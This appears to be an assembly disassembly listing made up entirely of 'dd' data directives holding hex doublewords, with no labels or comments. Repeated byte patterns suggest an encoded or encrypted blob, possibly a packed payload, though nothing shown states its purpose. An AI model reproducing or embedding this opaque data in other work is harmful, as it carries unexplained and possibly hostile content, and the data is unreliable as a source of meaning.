		dd 6BF835FCh, 13883215h, 0EF60AD12h, 4AEDE886h,	0FF55198Fh
		dd 66D3357Dh, 4240BB15h, 8F7C6A43h, 6611321Eh, 220EA43Bh
		dd 335DA81Fh, 0CBF952A7h, 3A137ECh, 718D35F5h, 67768614h
		dd 67351FDDh, 0D63C00A1h, 9A8FD270h, 7A60769Ch,	8FD753EDh
		dd 661130D8h, 668834FCh, 0C73C715h, 33EE4143h, 0A390D79Ch
		dd 66883211h, 6640DF94h, 4AA53215h, 6A986E31h, 0EFDBCA31h
		dd 6287B3F6h, 0E5223215h, 7A9636FEh, 72016E31h,	0AF75C731h
		dd 0A39B5475h, 0E91E53C1h, 66883200h, 664BBE1Ah, 6CCB3215h
		dd 90113215h, 7424F4C3h, 3610745Ah, 4BB7B902h, 616DB06h
		dd 668837FCh, 0B8B07C15h, 0D844252Dh, 6709C6Ah,	0B5138D73h
		dd 6651BE1Ah, 76CB3215h, 94113215h, 0B8F4F66Bh,	74B09025h
		dd 6C35CBD2h, 784B1FEh,	0E287302Eh, 664432A6h, 662220FCh
		dd 300A5C15h, 7A670497h, 19B4ECA9h, 192281F6h, 37AC3566h
		dd 6688367Dh, 0AC456B15h, 0DD71C74Ch, 66113214h, 9FD3EB14h
		dd 7045BF2Eh, 0E32D35FCh, 99EECDD5h, 6684B31Ah,	0EF4B3215h
		dd 66223213h, 6611BF1Ah, 8EE83215h, 6644321Dh, 0B0729F78h
		dd 246B9BDh, 7D36943h, 6644327Dh, 4226B915h, 6615F694h
		dd 0E2873215h, 6644320Dh, 662221FCh, 0AAB65815h, 11521965h
		dd 8BBC335Bh, 0CA52C550h, 78571B81h, 2BD2BF98h,	6CAD35FCh
		dd 0EF223215h, 0AC828B87h, 504EA2D0h, 69A5CD9Eh, 66223C91h
		dd 6618DB15h, 3D793215h, 6CE4D82Dh, 0EF2CC79Bh,	8F1FAF98h
		dd 7203CA12h, 83CD6731h, 6626F794h, 0A3923215h,	42A4B511h
		dd 70CD3D49h, 6223215h,	661139FCh, 12F7D915h, 0DACD25DBh
		dd 67CFAEA0h, 0F4BE8B73h, 42BCCD74h, 6280B14Ch,	4D8675h
		dd 78C78ADh, 66E63A7Dh,	4270BB15h, 6623B61Ah, 0EDE83215h
		dd 8F82DB88h, 0EB4B5212h, 66223213h, 878EE894h,	0DCEE4D2Ah
		dd 99252C1Dh, 4216B326h, 22CB3579h, 0E7AC3E9Eh,	664436D1h
		dd 0AD3B315h, 6955E812h, 66883E9Dh, 60CD3D15h, 69223215h
		dd 66113292h, 0D1875215h, 0E3CF53E3h, 61CB3C88h, 66113EFCh
		dd 1FE6D915h, 8E0F613Ah, 7D331F8Bh, 8FF1E326h, 66883207h
		dd 1E45FCE3h, 7DF538AEh, 0DC2FAA9Ch, 564F812Dh,	0E3479AA0h
		dd 61CB3008h, 6E703EDh,	6685DB75h, 54D63215h, 0A8BB41ACh
		dd 0C7B76BF7h, 76032F3h, 7858D1Ah, 62CEB145h, 3E35069Ch
		dd 0CBEECE4Bh, 8685CAECh, 6627DB17h, 6B273215h,	6AD7AF8h
		dd 79CB973h, 5267B716h,	0E91E35FCh, 66883214h, 57B403E9h
		dd 6D203D3h, 0ED7705A1h, 692553E4h, 66443B9Ch, 0C39D5215h
		dd 31005B9Ah, 6C8D534Fh, 4B29823Ch, 6C302C31h, 4214FA14h
		dd 4B82200Bh, 0BF41B1Fh, 6629B11Ah, 60F83215h, 70883215h
		dd 0FB31DC04h, 4216B934h, 0E7F0BB44h, 668836D4h, 6285B115h
		dd 3A063E92h, 66113EFCh, 4CA91615h, 4B4189ACh, 0E7A6E853h
		dd 67ACB175h, 678FDB09h, 66F0B61Ah, 5DDB3215h, 8F375B98h
		dd 0C10C3D12h, 6443215h, 2A979DAAh, 0ADAE3D35h,	0D3050974h
		dd 6943DB03h, 6622A391h, 0EB2AC715h, 61610668h,	66C0B61Ah
		dd 69423215h, 66113192h, 98035415h, 6642B71Ah, 0EA2D3215h
		dd 66113215h, 6A083D74h, 69443215h, 66223492h, 66993D15h
		dd 0EB883215h, 97324588h, 0DD755212h, 68CD3550h, 64003D4Dh
		dd 31443215h, 0B5DD534Ch, 5A9A62EDh, 624CB131h,	664423FCh
		dd 0F1CF7015h, 352485FAh, 5478693Ch, 84002CCAh,	0DD4206B2h
		dd 0F7EC413h, 0EFE9FA9Fh, 8F4B1390h, 6FA23D12h,	6113215h
		dd 6688B71Ah, 7B13215h,	663D89FCh, 0FB9CC715h, 61794462h
		dd 664421FCh, 0F3AA2715h, 0B1ACC6D6h, 0A27AEB71h, 0C90D0165h
		dd 30503285h, 6FF8E1EAh, 49883215h, 45AD4371h, 2197BB3Bh
		dd 7A108F96h, 698835FCh, 66440891h, 0E319CE15h,	61F806A4h
		dd 66AFB61Ah, 0E84B3215h, 66223218h, 66113AFCh,	4A754A15h
		dd 7B6D6F5h, 67AB3D84h,	9E113215h, 7D3DB72Eh, 0E34B35FCh
		dd 66223212h, 9920DBE9h, 5D7DCDEAh, 8F710B90h, 0AA73D12h
		dd 6113215h, 668AB11Ah,	88F73215h, 662235FDh, 4792E515h
		dd 310F6D5Ah, 39BAB973h, 0F9FB174h, 6616DB0Eh, 6691B61Ah
		dd 0E5BC3215h, 8F3827A8h, 0E21E3212h, 66883222h, 664434FCh
		dd 6CD5ED15h, 0EB90E4DEh, 962E6C90h, 0BEADCB12h, 69DDCDEBh
		dd 66113399h, 0E687CE15h, 66443206h, 66223CFCh,	0F9001B15h
		dd 245BAB5Bh, 0EA3E99BFh, 5D1023A7h, 8F240B90h,	0CA0C3D12h
		dd 8FBBCDEBh, 6622321Fh, 0FFE15A23h, 0F75BE4C8h, 0DBC72A26h
		dd 61D32549h, 50943D14h, 9F883215h, 0F6C109ECh,	6925C302h
		dd 66111A90h, 0E7EE5215h, 698178F2h, 643FDAAh, 0B79F47ABh
		dd 0B609546Ah, 0EB251D8Ah, 3F29D690h, 1CF8CA15h, 677CDEBh
		dd 0B2CEE89Eh, 69DD0374h, 66113497h, 3DDE5215h,	0E525E49Eh
		dd 8F0BD7A8h, 0E21E3212h, 6688237Bh, 664439FCh,	9702CB15h
		dd 1D2B3B4Ah, 1A13B432h, 7138B72Eh, 0E32D35E4h,	66113222h
		dd 6F0DB9EDh, 643DB1Ah
		dd 662226FCh, 2C750015h, 9AB56747h, 65F19FE5h, 7F2BFE9Bh
		dd 0D150C4Fh, 0BD0954B2h, 3325CAB5h, 662233A8h,	3BFE3315h
		dd 6689B81Ah, 5DBC3215h, 9735B690h, 24943D12h, 69883215h
		dd 66442A9Fh, 6631DB15h, 0A0FB3215h, 0BA68C65Dh, 55B03B24h
		dd 0DADFBA18h, 92619DBCh, 630DB9BDh, 643DB1Dh, 0FCEDB373h
		dd 0B1905470h, 35E99406h, 99BBCDAEh, 3DFD1BEAh,	8BA95475h
		dd 7167B269h, 0E6C10974h, 6925C302h, 6611A190h,	72605215h
		dd 9F443215h, 0E44A1A7Ah, 48FFBA9Dh, 0E1FCF47Bh, 0CD23C587h
		dd 31AA0114h, 0EB1E6B4Fh, 66883217h, 8F25A1A0h,	66223212h
		dd 83D8E476h, 0ED1BE73Ch, 8F521390h, 0FE9B5212h, 8E4B3C94h
		dd 66883205h, 756DC92Bh, 0A3A58F31h, 413AE9DEh,	3E3C7BA3h
		dd 71C6B42h, 74A53D75h,	8F113215h, 66883218h, 3AAE6EC0h
		dd 2CE171E4h, 0E0670152h, 0DFD95331h, 99BBCDEAh, 8F7BFD3Ch
		dd 66113201h, 0E738E382h, 0AA52A001h, 393F78A4h, 8AB6F890h
		dd 0D6587CF1h, 71CCB72Eh, 0E32D35E4h, 6611324Ch, 6685DB75h
		dd 3BE73215h, 9FD6AD82h, 1A05E9A3h, 0B6931Bh, 8F25C29Eh
		dd 66223206h, 0D44D0F60h, 9C571CD4h, 0C6812812h, 0C10B358Ah
		dd 0ED94CB50h, 8F936390h, 0DD17CE12h, 66223214h, 694AED14h
		dd 6688269Dh, 68C23D15h, 8F223215h, 6611321Ch, 48705E58h
		dd 203C3405h, 0EAA709AAh, 6916C302h, 66882D90h,	0E3CFCA15h
		dd 61CB3A34h, 6610BA1Ah, 9E7D3215h, 66458C43h, 91233215h
		dd 67943D4Bh, 93883215h, 71D4B72Eh, 0E32D35E4h,	66113250h
		dd 0EDE9CE75h, 8F5E9790h, 6625DB12h, 0A0723215h, 3197B5C2h
		dd 6649DB9Dh, 98503215h, 5EC1B40Fh, 8FF05D9Ch, 361A5B21h
		dd 99DDCDADh, 3ED61BEAh, 668822FCh, 7B7D4515h, 0A3F93F19h
		dd 6FC9D0D2h, 29DBC1E8h, 0F2C10944h, 6925C302h,	66110C90h
		dd 0E303CE15h, 61AD1C98h, 63A53D75h, 0DE113215h, 2DE72688h
		dd 6641BD1Ah, 0E7443215h, 7AFA2D2h, 15FC8847h, 94C532C3h
		dd 66F44160h, 8F4BE514h, 6688321Eh, 377A43C6h, 6E89E27Ah
		dd 5D576D1Dh, 979FAA90h, 2FC13D12h, 6223215h, 6618DAE0h
		dd 6A0B3215h, 4C5D0B2Eh, 0EDF644D4h, 0ED7068E4h, 8F9DBB90h
		dd 67CD3D12h, 93223215h, 99EE8946h, 0B9A1CDEAh,	7FC23D4Eh
		dd 69223215h, 6611219Dh, 6686DB15h, 74973215h, 0AB2F9C9h
		dd 0CD32E658h, 8E172968h, 71D8B72Eh, 0E32D35E4h, 6611322Bh
		dd 0E3035375h, 61AD29F0h, 662FDB75h, 5033215h, 67110E73h
		dd 0C0081504h, 8E583DABh, 66113210h, 0D7304448h, 3C25526Bh
		dd 4AA16574h, 8F4ECD31h, 6688321Fh, 0FD45715Ah,	42032464h
		dd 0E32A388Eh, 617925B5h, 6671B71Ah, 6423215h, 6611BA1Ah
		dd 7743215h, 78B851Ah, 53B7B79Eh, 34E835FCh, 668833AFh
		dd 3C933315h, 662220FCh, 8EB12A15h, 4F06C488h, 5D26CB9Dh
		dd 7581F432h, 5D95B5D3h, 979F9A90h, 5C13D12h, 8F223215h
		dd 6611321Dh, 419FDE3Dh, 9EF01B77h, 7F13B79Eh, 0E01E35FCh
		dd 66883206h, 66443CFCh, 82264315h, 66B734B3h, 0A0A5B7BDh
		dd 8F29AF9Ch, 66223206h, 84C6C939h, 0C56A5A9Dh,	0B100BB1Ah
		dd 0DEAC65F0h, 3460E90Ch, 668833AFh, 3C933315h,	662DBA1Ah
		dd 6CF83215h, 0D8883215h, 739E8329h, 2D529E59h,	0E32ACB02h
		dd 617925B1h, 6629B71Ah, 0E72D3215h, 66113212h,	6689BD1Ah
		dd 0E5B13215h, 8F0637A8h, 0E31E3212h, 66883246h, 0E7225275h
		dd 6AF54C5h, 7E45374h, 4D9DB79Eh, 692435FCh, 66223495h
		dd 669D3D15h, 8F883215h, 66443201h, 0B18C7A45h,	0FB991FCAh
		dd 7F9FE43h, 0A77E7DC3h, 0D959C073h, 67AA6174h,	67883215h
		dd 0E64B69CAh, 6622321Eh, 661134FCh, 0C80FF15h,	0E555D754h
		dd 8F0D1BA8h, 0E21E3212h, 66883259h, 66443AFCh,	0A75FDB15h
		dd 47CD4252h, 560D09E7h, 6943C30Dh, 66220190h, 661ADB15h
		dd 0A2A83215h, 6E74D63Bh, 0C4116102h, 5B94B970h, 68FDB3Fh
		dd 66C13D75h, 223215h, 0CD2DC94h, 0A3325474h, 0DE14537Ah
		dd 99DDCDEAh, 9F49F53Ch, 6EF58F96h, 694435FCh, 66200891h
		dd 0DB92CE15h, 61613E08h, 4AC03D15h, 6223217h, 9AD9B373h
		dd 640F3DD7h, 0ED443215h, 0E31953E7h, 61E02A01h, 66B4B71Ah
		dd 0EB4B3215h, 6622321Fh, 69138775h, 66883299h,	0E44B5315h
		dd 66223214h, 0EB94B9ECh, 9A8FDB1Ah, 99BB8F40h,	890BCDEAh
		dd 6601DB48h, 1B093215h, 6B7A477Ch, 36FD1670h, 0B9C69C5Dh
		dd 0E3B3BA38h, 61B52A31h, 666BB71Ah, 6ED3215h, 0E06AB373h
		dd 330389BAh, 0ED434EBEh, 8F3F4390h, 760B3D12h,	8F443215h
		dd 6622321Eh, 0E73FF937h, 0C6067DFFh, 3449B9DBh, 9603F8AFh
		dd 0E7CBC528h, 57CA25E7h, 0E706705Bh, 2279AEF7h, 67E3B30Eh
		dd 6780360Dh, 5DB168C2h, 973A2A90h, 51943D12h, 6883215h
		dd 0C987B344h, 3C77A0C0h, 0A6A63D42h, 0E303534Ah, 61AD2D70h
		dd 0F39860EDh, 0A7186A12h, 0A40930F7h, 2DFB17FAh, 94A3E0E2h
		dd 52D54527h, 0AA07C094h, 0B1458831h, 0E319CA4Fh, 61E02A3Dh
		dd 66FAB71Ah, 0E74B3215h, 66223201h, 66113DFCh,	9C70315h
		dd 84C2BEBBh, 0C3B5C1F4h, 414B9A9Ah, 6DA1B79Eh,	8E2435FCh
		dd 6622321Bh, 0A083D695h, 5FD8A4B5h, 8B959885h,	0A0A91531h
		dd 0D91E524Ah, 0CC59B3EFh, 71CA734h, 909F6774h,	0E718E215h
		dd 0ED90DFD8h, 0BBB37F64h, 8121C794h, 8910B431h, 669ADB48h
		dd 0F9623215h, 9CCC0E18h, 0D61B88B5h, 394ACAF5h, 9B576285h
		dd 7E0EB72Eh, 0E31E35E4h, 6688322Dh, 0C3C1B9EDh, 8F25DB0Bh
		dd 66113207h, 0FBF46BEDh, 0DB746DB7h, 0E0BDEBAEh, 83D1ADD6h
		dd 33744E7Fh, 664433A8h, 3BCD3315h, 661139FCh, 0FDE5BB15h
		dd 0A07CC588h, 0ACCE43Bh, 7E0DB72Eh, 0E38735E4h, 66443224h
		dd 0F7A7B9E9h, 616DB12h, 668834FCh, 6C8AC315h, 695B0959h
		dd 6611369Bh, 0B4315415h, 0B9C353BEh, 6623F194h, 0B9963215h
		dd 0A1335475h, 0B5CF546Ah, 46A70974h, 6916C30Dh, 66880090h
		dd 0E3CFCB15h, 61CB1DD4h, 6618B21Ah, 0DEE83215h, 3B482129h
		dd 0E1436C46h, 304674E2h, 76616C4Ah, 0A0443215h, 80BDCB6Ah
		dd 0D84FD2B3h, 2C686062h, 0E5E14773h, 8F2E2FA8h, 0E21E3212h
		dd 6688389Bh, 69658175h, 6622379Bh, 78D08B15h, 5DE94DB5h
		dd 97539E90h, 4DA73D12h, 9E113215h, 6699B79Eh, 692435FCh
		dd 66223E95h, 6616DB15h, 0E5D33215h, 9B992490h,	46EDB36Ah
		dd 71597B1h, 99778A45h,	0A16DCDEAh, 0E319CA4Dh,	61E02A55h
		dd 66E3B71Ah, 69243215h, 66223090h, 8E1A8315h, 66883207h
		dd 79D2DB1Fh, 0B21AE7B9h, 0A5068AB9h, 57C0CBEBh, 0E84B40A8h
		dd 66223215h, 6FF8534Eh, 0B8883215h, 0EF07252Dh, 467C65h
		dd 7AA8B79Eh, 35E835FCh, 1FA9A5h, 7B401ABh, 0B8C88C75h
		dd 800869B0h, 0DF15533Fh, 99DDCDEAh, 648FD3Ch, 6682DBE0h
		dd 83F43215h, 5B80290Fh, 0F2FF3C86h, 0D60D0974h, 6943C302h
		dd 66227290h, 689F3D15h, 6883215h, 6644B01Ah, 94A33215h
		dd 2AB547C0h, 9F0DB974h, 643DB13h, 66223EFCh, 9EC7F15h
		dd 0B7011079h, 0C7B616A7h, 0B59D3D6Fh, 0E8AB6074h, 0E79BF21Ch
		dd 59B241D7h, 3CF533F9h, 0D29409EDh, 698FC302h,	66440890h
		dd 69A83D15h, 8F113215h, 6688321Fh, 0A0876DBEh,	0D6CCE0A2h
		dd 0E39ABE51h, 61612EB0h, 6645BA1Ah, 30DE3215h,	99EECDABh
		dd 387F1BEAh, 0A0C55475h
		dd 0E72D64D4h, 66113217h, 5DE956A1h, 97538A90h,	24A73D12h
		dd 8F113215h, 66883205h, 742EE989h, 0BD7A2F38h,	382D6F33h
		dd 0A0E46137h, 49C5B79Eh, 694235FCh, 66112095h,	6685DB15h
		dd 5DD73215h, 0C2F14903h, 0E2F8DAB9h, 0BA025Bh,	3425F89Eh
		dd 99DDCDAFh, 3CC61BEAh, 0DA0D09E9h, 6943C302h,	66224390h
		dd 759E3D15h, 8F883215h, 6644321Bh, 67468DB9h, 68AA5E23h
		dd 741F9833h, 0DBC756EDh, 61CB1610h, 2D943D15h,	6883215h
		dd 6641B41Ah, 0E7443215h, 9FD1AFE7h, 570DB974h,	6943DB0Fh
		dd 66223E93h, 609E3D15h, 69883215h, 66443292h, 6DCB5215h
		dd 0B0113215h, 0A725B693h, 9FC9C182h, 82A251E8h, 0DD42536Dh
		dd 66883214h, 61FED14h,	0ED4406A4h, 0E32A53DAh,	617925D5h
		dd 660BB71Ah, 0EC2D3215h, 66113212h, 6689B91Ah,	0EDBC3215h
		dd 8F020790h, 0A7905212h, 79924981h, 3025EFA4h,	11757EABh
		dd 65F7F309h, 8809E4E2h, 7A0177B5h, 8F7CC53Ch, 6611321Fh
		dd 948135AAh, 719FF581h, 6CCB3D19h, 0A0113215h,	98E85DF4h
		dd 51C0F2EDh, 0A2A70976h, 6916C302h, 66884490h,	664EDB15h
		dd 0FF173215h, 0B87886BDh, 2595140Eh, 42418F96h, 692235FCh
		dd 66116890h, 6687DB15h, 63973215h, 0EBCB61E0h,	7229A792h
		dd 1FA70DEEh, 37C1B92Bh, 6925DB25h, 66113897h, 0E2875215h
		dd 66443215h, 8F43E89Fh, 66113210h, 5E2207Ch, 66FD636Bh
		dd 0A74EE05Fh, 0E75834FCh, 5A9F3EF4h, 0A9ADB34Eh, 0E75D6E24h
		dd 0B5DE06FCh, 3F473394h, 6645BB1Ah, 5DDB3215h,	9706FA90h
		dd 330D3D12h, 6443215h,	66223EFCh, 0D82A8915h, 2872C65Fh
		dd 18DD311Bh, 7F68634h,	6F40B79Eh, 8FE835FCh, 66443218h
		dd 0F16D5BC2h, 4CA8E934h, 0FC1DEB74h, 61AD630Fh, 7F223215h
		dd 29AECF88h, 7D3DE18h,	99BB8A45h, 0A10BCDEAh, 6F9A3D4Dh
		dd 6883215h, 0E722B6A0h, 71ED9F4h, 71DDB72Eh, 0E38735E4h
		dd 6644322Eh, 6631DB75h, 0D4B33215h, 0C808E1C2h, 1E0C48CAh
		dd 77F4E93Dh, 80BE9D3Bh, 0E30353A3h, 61AD1FD0h,	0DFA5AE9h
		dd 5A983215h, 428CCD31h, 6EC93D4Ah, 6223215h, 0E685D595h
		dd 5DE9A2D1h, 9753E690h, 5A73D12h, 6113215h, 0BC28D6AEh
		dd 0E525C76Bh, 8F0637A8h, 0E31E3212h, 6688325Bh, 0B7C45275h
		dd 7435223h, 3DA95447h,	6E96D03h, 664437FCh, 2134DD15h
		dd 0E77761DAh, 768ABC6h, 7BE9B79Eh, 0E82D35FCh,	66113214h
		dd 993062ECh, 4FBBCDEAh, 0EA2D6AD2h, 66113207h,	66883FFCh
		dd 3D04A515h, 201CDCCh,	8E78B4F0h, 0E3B3A489h, 61B525C5h
		dd 6641B71Ah, 713215h, 35C8D994h, 0E5256845h, 8F0637A8h
		dd 0E31E3212h, 66883258h, 66443EFCh, 0D5679315h, 0B2517857h
		dd 1B9ED7A1h, 23C1B98Dh, 6925DB12h, 66112794h, 6698DB15h
		dd 0B60F3215h, 0A68AA7E2h, 57BFC841h, 0EE25E73Eh, 0DD17B708h
		dd 73DC1E27h, 9119D9D4h, 4D7BB3CEh, 4F4427EBh, 0EC2D69CAh
		dd 66113214h, 0BE0D09ECh, 6943C302h, 66221190h,	67943D15h
		dd 9E883215h, 6C79B79Eh, 0E7DE35FCh, 661136F9h,	42B4BB15h
		dd 396036EAh, 6623BB1Ah, 93ED3215h, 7154B72Eh, 0E34B35E4h
		dd 6622322Ch, 6617B01Ah, 0D3E83215h, 74883BFh, 665FB79Eh
		dd 69F835FCh, 0C2883215h, 0CDF912C0h, 8FE1CAD2h, 0F29754C8h
		dd 0D8DE319Eh, 0EFF5179h, 0E727D4D4h, 0A7CB3FBh, 387F1B02h
		dd 86C109EDh, 6925C302h, 66110F90h, 0F2365215h,	0E6211E7Eh
		dd 0ED43AFC5h, 8F0B5B90h, 0A9085212h, 797B861h,	99DD8946h
		dd 0B938CDEAh, 6B60524Eh, 0FA443215h, 4E6D8683h, 84129BDDh
		dd 3A05EE69h, 0E71C5375h, 2F538CDDh, 0E32A532Fh, 617925F1h
		dd 6674B71Ah, 6BCB3215h, 96113215h, 7A16BB6Ch, 1B789848h
		dd 78A5C223h, 7B5CB79Eh, 0EA8735FCh, 66443214h,	679961ECh
		dd 67113215h, 69E869CAh, 0D14BEAAAh, 0E31953DBh, 61E025FDh
		dd 66BAB71Ah, 0EB4B3215h, 66223204h, 66113EFCh,	2AE45315h
		dd 70D0F160h, 9FB93B9Bh, 0CF94B996h, 938FDB1Eh,	66458A45h
		dd 0A1233215h, 0EF1E524Dh, 66883215h, 796851Ah,	71CEB72Eh
		dd 0E31E35E4h, 66883251h, 664FDB75h, 0FE343215h, 550D4650h
		dd 47AED520h, 6641DB81h, 0AEA13215h, 762862Fh, 7989B79Eh
		dd 6EAD35FCh, 0B9223215h, 2BB8881Ch, 316AA6BAh,	67603696h
		dd 6628DB4Ah, 0FB593215h, 52EE9983h, 46CAFDD9h,	71D2B72Eh
		dd 0E31E35E4h, 6688325Bh, 664BDB75h, 0F1263215h, 0BDEB39A9h
		dd 7E92E28Dh, 57D32DD2h, 0ED43CAE7h, 8F09CF90h,	669ADB12h
		dd 0A9C53215h, 0B35E6378h, 0E292FEDDh, 0D653605Dh, 0A6429ABEh
		dd 42CE8F40h, 8390354Fh, 0CF12382h, 993FF794h, 890BCFB2h
		dd 0B89A5248h, 0E3B353ECh, 61B525E1h, 6669B71Ah, 77F83215h
		dd 6C883215h, 335824B7h, 0F5770232h, 2B6E0F3h, 2CAE9C7Ch
		dd 70BDB79Eh, 0E02D35FCh, 6611321Eh, 9C035475h,	6644BD1Ah
		dd 69433215h, 66113A96h, 0BA085215h, 0A9FB3D8Dh, 999B6374h
		dd 4FEECDEAh, 0E2876BDAh, 66443214h, 1FA709ECh,	6916DB0Eh
		dd 66880D90h, 0E7225215h, 0E73099C6h, 0E2BC13CBh, 0E3035344h
		dd 61AD3DCCh, 662222FCh, 0B5CF0315h, 254EF5CCh,	0FF6EB37Bh
		dd 0E366F562h, 67AA6154h, 67883215h, 6EAD69CAh,	97223215h
		dd 0B3277ADDh, 9F03C29Fh, 71BCB72Eh, 0E32D35E4h, 6611327Eh
		dd 0E30DB9E9h, 643DB09h, 68CAC89Eh, 0F4113215h,	0A26AC96Ch
		dd 8640CF75h, 0A318E9D9h, 85905415h, 7D3E7F2h, 6656DA75h
		dd 65AF3215h, 0B037B0F3h, 0F78018A3h, 8282EC8Fh, 0D497805Dh
		dd 66113AFCh, 0D23E2A15h, 0D78B27BAh, 0DC44685Eh, 3370CDB8h
		dd 668833A8h, 3BAB3315h, 66223CFCh, 0ED843215h,	99FC4C37h
		dd 0C5509201h, 5DD4DE0Ch, 97090690h, 90D3D12h, 8F443215h
		dd 66223218h, 7A62941Eh, 9D953C15h, 9B552593h, 0DBA1C79Eh
		dd 61E02A29h, 400D3D15h, 6443215h, 63CAF49Fh, 0D4113215h
		dd 0FA622E68h, 46ADB373h, 0E54369D9h, 8F0D33A8h, 0E2873212h
		dd 6644323Bh, 58F4B275h, 0BB94B974h, 68FDB34h, 69BAB973h
		dd 66223C9Ch, 6618DB15h, 0F2043215h, 6397F85Ch,	7CB61E0h
		dd 99EE8B44h, 0A9A1CDEAh, 0E37FCE4Ch, 61D32A2Dh, 66BFB71Ah
		dd 8EE83215h, 66443218h, 8C0356CAh, 5C04F2FAh, 90EEFF6Ah
		dd 61148A34h, 69793514h, 66113796h, 0C5E28B15h,	0E52553B3h
		dd 973A0EA8h, 0E31E3212h, 66883220h, 664435FCh,	54846A15h
		dd 377FE170h, 6735B1E9h, 6643DB09h, 6640B61Ah, 8E713215h
		dd 6688321Bh, 0C928B80Ch, 3C601188h, 0A0FEF25Ch, 0CA30292Eh
		dd 394F7948h, 67A7B974h, 616DB17h, 668837FCh, 8CC41D15h
		dd 68CBFC4Dh, 6C113215h, 0B6C44B18h, 0CCF79F1Bh, 534A1327h
		dd 60F8531Bh, 0F8883215h, 92C3C471h, 679860F4h,	67113215h
		dd 0EE8768C2h, 6644321Dh, 6620BF1Ah, 7713215h, 7174B72Eh
		dd 0E34B35E4h, 66223245h, 9794B9E0h, 68FDB0Ch, 66443EFCh
		dd 2ECE7915h, 58324BBFh, 10C33386h, 0DB11537Bh,	6EE32E68h
		dd 11DFD794h, 0A3091294h, 993AD9A0h, 8F7FDD14h,	6611321Ah
		dd 380BAC33h, 0C7775A2Ah, 0DEEB41FCh, 6941F79Fh, 66883592h
		dd 0AFF5215h, 70901C3h,	7E11B72Eh, 0E38735E4h, 66443239h
		dd 6629B91Ah, 60F83215h, 13883215h, 0B10A87B3h,	0E7A7B9EAh
		dd 8F16DB0Ah, 66883213h, 0EF8ECDFFh, 0DF7354DCh, 66113214h
		dd 93D1FD14h, 7E40B72Eh
		dd 0E32D35E4h, 6611325Eh, 66883DFCh, 66716015h,	10486574h
		dd 148F75BAh, 2C657581h, 735DB79Eh, 0E62D35FCh,	6611321Dh
		dd 0BE035475h, 7B68D1Ah, 5BE88A45h, 5B3C5EB2h, 53B9F427h
		dd 7527658Eh, 4129AF10h, 38690743h, 0AAA54505h,	4F4C8B2Ch
		dd 5DDB6AD2h, 97093A90h, 5C0D3D12h, 9E443215h, 4CA3B79Eh
		dd 0E51E35FCh, 6688321Bh, 66443BFCh, 0F9750E15h, 0C7F3F4A1h
		dd 0B10FC71Fh, 57930357h, 6F503EFh, 0B544E594h,	69E87FDBh
		dd 66443290h, 0CCD1B315h, 7033D7Ah, 6A0D0974h, 6943C30Dh
		dd 66226A90h, 6E953D15h, 6883215h, 5C65A2ABh, 643C76Ah
		dd 0ED706846h, 8F956F90h, 6656DB12h, 80443215h,	5AE8F85Ah
		dd 0BF7900CFh, 8C9EB690h, 22184A5Fh, 423DB342h,	9977CDEAh
		dd 77AD524Ah, 70223215h, 0C655F693h, 0B2B8F271h, 67B6F671h
		dd 30E22A1h, 66953D46h,	3E883215h, 76C10974h, 6925C30Dh
		dd 66117390h, 67013D15h, 9F443215h, 6633B79Eh, 0ED1E35FCh
		dd 6688321Dh, 6646BB1Ah, 7423215h, 99EE8C43h, 91A1CDEAh
		dd 664FDB4Bh, 0D8A3215h, 8E96E84Eh, 0BA3228EFh,	0E72252C6h
		dd 0E746CDD3h, 16A3BDC2h, 9983532Ch, 6643B61Ah,	8FDA3215h
		dd 99EEDEC8h, 0D70D09ECh, 6943DB15h, 66221190h,	0E39CCB15h
		dd 6178423Ah, 664422FCh, 8DA4C515h, 0CED9E3CAh,	0FFD80488h
		dd 20CD8368h, 8A8DDBEBh, 9AE9CDEAh, 69CDB72Eh, 0E34B35FCh
		dd 6622324Ch, 66113FFCh, 8275B215h, 6EB94E2Ch, 0A5F510AFh
		dd 0E671812Bh, 6830BFF7h, 72F42A0h, 717E8F96h, 691035E4h
		dd 66880290h, 0E3C9C715h, 667B3972h, 661123FCh,	58757015h
		dd 174AFED0h, 0C0093E06h, 1C73B86h, 30619115h, 6BBCDF9h
		dd 0F2258C73h, 39F7B347h, 3CBB2CFCh, 0AC10974h,	6925C302h
		dd 66111891h, 0E3B3CB15h, 61B52565h, 6616B71Ah,	0ED1E3215h
		dd 66883202h, 664420FCh, 0F139C715h, 6A3CA988h,	719E4DA8h
		dd 4F2317B4h, 8F5FA4D2h, 99EEDE18h, 6684B71Ah, 0EB4B3215h
		dd 66223213h, 6611B11Ah, 0D1E03215h, 0EF443271h, 0DC9A1611h
		dd 53361178h, 754C3651h, 7ED23010h, 3EE4BBDEh, 67EFB1E9h
		dd 6624B71Ah, 6BAD3215h, 0AE223215h, 10A46CCCh,	850294B5h
		dd 65D29799h, 6A709EDh,	6916C302h, 66882D90h, 0E3C9CA15h
		dd 667AB5D1h, 8DBADBECh, 6E8CDEAh, 6644B61Ah, 7423215h
		dd 83DEB374h, 7D226B9h,	7120B72Eh, 0E32D35E4h, 6611325Dh
		dd 669DB21Ah, 8F243215h, 6622321Bh, 9382203Dh, 0B3021A64h
		dd 6C6FB263h, 69439EB2h, 66113A98h, 64093D15h, 6443215h
		dd 5CA7BF74h, 69116A9Dh, 66883E9Dh, 60C53D15h, 69223215h
		dd 66113293h, 2061C715h, 9ABBCDFEh, 714AB72Eh, 0E31E35E4h
		dd 6688321Bh, 19C1BFE0h, 9A226A9Dh, 99FA1EFCh, 34D8CAEAh
		dd 0A9648EAFh, 42761B01h, 63496811h, 724712A9h,	664FB91Ah
		dd 60CB3215h, 3F113215h, 72A1B0EEh, 66465AAFh, 52A93215h
		dd 62D5B131h, 6689B21Ah, 6DBD3215h, 7DA73DE3h, 9F113215h
		dd 9962FCFCh, 6654DBEAh, 3CEF3215h, 311C621Fh, 7C470A73h
		dd 0D575B4E8h, 314AFC1Bh, 0EF11326Dh, 9FD61611h, 4C55879Ch
		dd 4235FCh, 6911DAAAh, 9AE9E5A2h, 5355879Ch, 4235FCh, 6A02DA94h
		dd 318BFB94h, 62501F0h,	6625DB42h, 0BF323215h, 2C242C22h
		dd 6FF66C9Fh, 8F1CB274h, 6703B71Ah, 8FE83215h, 66443218h
		dd 0CDDA6D8Fh, 614FE9A5h, 7984B56Bh, 3425CE97h,	662233AFh
		dd 9CD3B315h, 67E5ED03h, 9CAEB3E7h, 0ED4FED03h,	37E4682Fh
		dd 0B1A7D3ACh, 36B5B37Eh, 0E7215402h, 0E92255FCh, 3F471B11h
		dd 0A1C5C514h, 200375Fh, 6602DB75h, 81B53215h, 0E2486CABh
